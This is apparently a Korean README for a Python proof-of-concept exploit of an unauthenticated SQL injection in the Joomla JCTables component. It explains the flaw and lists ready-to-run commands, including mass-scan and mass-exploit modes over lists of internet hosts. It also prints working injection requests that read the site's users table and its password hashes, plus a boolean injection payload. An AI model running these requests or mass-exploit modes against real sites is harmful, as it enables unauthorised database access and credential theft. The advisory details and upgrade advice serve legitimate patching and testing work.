
CVE-2026-76570에 대한 Python PoC: Joomla JCTables(com_jctables) 프런트엔드 JSON API의 인증 없는 SQL 인젝션으로, check, exploit, mass-scan 모드를 제공합니다.
CVE-2026-76570 — Joomcode JCTables — 프런트엔드 JSON CRUD API(getdatarow, getrow, …)의 비인증 SQL 인젝션에 대한 Python 3 PoC입니다.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570 (PUBLISHED 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| 구성 요소 | com_jctables |
| 영향 범위 | 1.0.0 – 1.20.0 (실습 환경: ≤ 1.10.31.2 확인됨) |
| 수정 버전 | ≥ 1.21.1 (2026-08-05) |
| CWE | CWE-89, CWE-862 |
| CVSS 4.0 | 10.0 Critical — AT:N (특별한 관리자 설정 불필요) |
| 분석 | VulnCheck — JCTables SQL R/W → RCE 체인 |
프런트엔드 컨트롤러 작업에는 토큰 / ACL이 없습니다. 요청에서 가져온 테이블 및 컬럼 이름이 SQL에 그대로 연결되며, ladb_escape()는 따옴표로 감싼 값을 "이미 이스케이프됨"으로 처리합니다. **getdatarow**는 임의의 DB 테이블(예: {prefix}users)을 읽을 수 있습니다. 이 PoC는 읽기를 입증하며(사용자 이름 / bcrypt 행) — 전체 관리자 로그인 / 플러그인 RCE 체인은 실행하지 않습니다.
성공 표식: POCBIT-76570-OK (JSON 증명 메타데이터 내).
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interactive
python poc.py hits.txt # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help
| 단계 | 요청 |
|---|---|
| 행 읽기 | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| 불리언 프로브 | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
JCTables를 **1.21.1+**로 업그레이드하거나 구성 요소를 제거하십시오.
승인된 보안 테스트에만 사용하십시오.